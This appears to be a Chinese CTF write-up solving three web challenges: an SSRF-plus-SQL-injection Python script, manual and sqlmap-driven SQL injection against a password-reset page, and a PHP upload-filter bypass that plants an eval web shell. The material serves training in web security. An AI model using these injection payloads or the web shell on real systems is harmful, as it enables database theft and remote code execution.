ics-02

扫描有secret目录,

无法直接进入secret_debug.php 显示ip不对
点paper会向download.php传参,可以下载一个ssrf内容的pdf,
于是想到利用ssrf来访问secret_debug.php
在这里插入图片描述
发现参数s,fuzz一下,发现s=3时会有如下返回

输入这么多个字段注册。注册成功后会把其中一部分字段返回,猜测后台逻辑应该是:

1
2
3
4
5
6
7
INSERT INTO Persons VALUES ($textfirst_name, 
$textmiddle_name,
$texLast_name,
$textname_suffix,
$textdob,
$textdl_nmber,
$textRetypeDL)

注册后,将txtfirst_name $textast_name $txtdob,显示出来,注入思路就是注释掉中间一部分字段就好了

1
2
3
4
5
6
7
8
9
10
"txtfirst_name": "L','1',("+subquery+"),'1'/*",
"txtmiddle_name": "m",
"txtLast_name": "y",
"txtname_suffix": "Esq.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id


INSERT INTO Persons VALUES ("L','1',("+payload+"),'1'/*","m","y","Esq.","*/,'01/10/2019",id,id)

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import random
import urllib

url = 'http://111.198.29.45:52536/download.php'

# subquery = "database()"
# ssrfw
# subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1"
# cetcYssrf
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1"
# secretname -> flag
# subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1"
# value -> flag{cpg9ssnu_OOOOe333eetc_2018}
subquery = "select value from cetcYssrf LIMIT 1"

id = random.randint(1, 10000000)

d = ('http://127.0.0.1/secret/secret_debug.php?' +
urllib.parse.urlencode({
"s": "3",
"txtfirst_name": "L','1',("+subquery+"),'1'/*",
"txtmiddle_name": "m",
"txtLast_name": "y",
"txtname_suffix": "Esq.",
"txtdob": "*/,'01/10/2019",
"txtdl_nmbr": id,
"txtRetypeDL": id
}) + "&")


r = requests.get(url, params={"dl": d})
print(r.text)

ics-04

注册用户,登录,修改密码

在这几个页面fuzz,发现login页面输入什么都可以登录然后显示普通用户登录没啥用,应该就是个提示而已

继续fuzz发现找回密码处存在注入

image-20200319034650710

  • 输入1' or 1=1#,进入密码修改页面
  • 输入1' or 1=0#,提示没有此用户

可以推断出这里是bool盲注,且fuzz时没有发现有什么过滤

手动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
order by测试发现有四个字段
1' or 1=1 order by 4#

找出所有的数据库
' union select 1,2,group_concat(schema_name),4 from information_schema.schemata;#
information_schema, : cetc004, : mysql, : performance_schema

爆cetc004数据库
' union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='cetc004' and table_name='user';#
: username, : password, : question, : answer

找用户名密码
' union select 1,2,group_concat(username),4 from cetc004.user;#
c3tlwDmIn23,c3tlwDmIn23
' union select 1,2,group_concat(password),4 from cetc004.user;#
2f8667f381ff50ced6a3edc259260ba9,21232f297a57a5a743894a0e4a801fc3

密码是被hash过的,但是注册页面可以注册同名用户,注册一个这个名字 登录就好了

通过观察重置密码的http请求,发现总共是3个请求,而且不同用户名的cookie是不变的,猜测使用会话实现重置密码的功能,而会话是与用户名绑定的,因此我们可以构造一个SQL语句,使得查询出来的用户名是管理员的用户名,但是密保问题和答案是我们自己指定的,就可以成功重置密码了:' union select 'c3tlwDmIn23','202cb962ac59075b964b07152d234b70','随意设置的问题','answer123333';#

sqlmap跑

image-20200319042007939

image-20200319042048130

sqlmap跑的是时间盲注入,可能慢一点

sqlmap -u "http://111.198.29.45:53416/findpwd.php" --data="username=1"

1
2
3
4
5
6
7
8
9
10
11
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=1' AND (SELECT 5762 FROM (SELECT(SLEEP(5)))yWIL) AND 'ENSj'='ENSj

Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: username=1' UNION ALL SELECT NULL,NULL,CONCAT(0x717a7a7a71,0x6c696648426256635a6c48454d56585870536a777351674553657047484f6c665654436558636557,0x7178787171),NULL-- qBMW
---

sqlmap -u "http://111.198.29.45:53416/findpwd.php" --data="username=1" --dbs

1
2
3
4
5
available databases [4]:                                                                       
[*] cetc004
[*] information_schema
[*] mysql
[*] performance_schema

sqlmap -u "http://111.198.29.45:53416/findpwd.php" --data="username=1" -D cetc004 --tables

1
2
3
4
[1 table]
+------+
| user |
+------+

sqlmap -u "http://111.198.29.45:53416/findpwd.php" --data="username=1" -D cetc004 -T user --columns

1
2
3
4
5
6
7
8
9
10
11
Database: cetc004                                                                              
Table: user
[4 columns]
+----------+--------------+
| Column | Type |
+----------+--------------+
| answer | varchar(255) |
| password | varchar(255) |
| question | varchar(255) |
| username | varchar(255) |
+----------+--------------+

sqlmap -u "http://111.198.29.45:53416/findpwd.php" --data="username=1" -D cetc004 -T user -C "username,password" --dump

1
2
3
4
5
6
7
8
Database: cetc004
Table: user
[1 entry]
+-------------+----------------------------------+
| username | password |
+-------------+----------------------------------+
| c3tlwDmIn23 | 2f8667f381ff50ced6a3edc259260ba9 |
+-------------+----------------------------------+

被hash加密了,发现注册页面可以再次注册c3tlwDmIn23这个账号,成功重置密码,登入得到flag

加上–technique=T -v 3 就先看看sqlmap检测payload。

ics-07

项目管理中有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 <!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();

if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}

if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}

?>

<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>

<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;

if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>

<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}

if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>

</body>
</html>
  1. 审计第二部分php感觉应该数据库中只有一个id=1的数据,但是不能直接输入1,要绕过这个限制if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9'):

    • ``floatval($_GET[id]) !== ‘1’,这个函数只截取数字部分,例如floatval(“123zxc”) = 123`

    • mysql中存在隐式数据转换,例如1=="1asd"

      构造id=1xx9&page=flag.php,即可在数据库查询到id=1的数据

  2. 审计第一部分文件上传的地方,这里需要注意的3个点:

    1. $filename = "backup/".$file;目录为假目录,需要绕过
    2. if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename))有一个正则对文件后缀进行过滤
    3. 真实的上传目录为:uploaded

所以我们这里针对第一个点容易想到,$file加一个../即可绕过这个假目录

针对第二个点,容易发现,匹配只匹配最后一个点的后缀,所以可以引用比较经典的解析问题sky.php/.绕过

这个解析是和Linux目录结构特性有关的:

在这里插入图片描述

创建了一个目录为1.php , 在 1.php 下创建了一个子目录为 2.php 。Linux下每创建一个新目录 , 都会在其中自动创建两个隐藏文件。

在这里插入图片描述

其中 … 代表当前目录的父目录 , .代表当前目录 , 所以这里访问 ./1.php/2.php/… 代表访问 2.php的父目录 , 也就是访问 1.php 。

image-20200319125432828

所以容易得到如下payload

post数据

con=<?php @eval($_POST['cmd']);?>&file=cmd.php/.

使用菜刀连接即可拿到shell


https://blog.csdn.net/qq_45552960/article/details/102777514?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task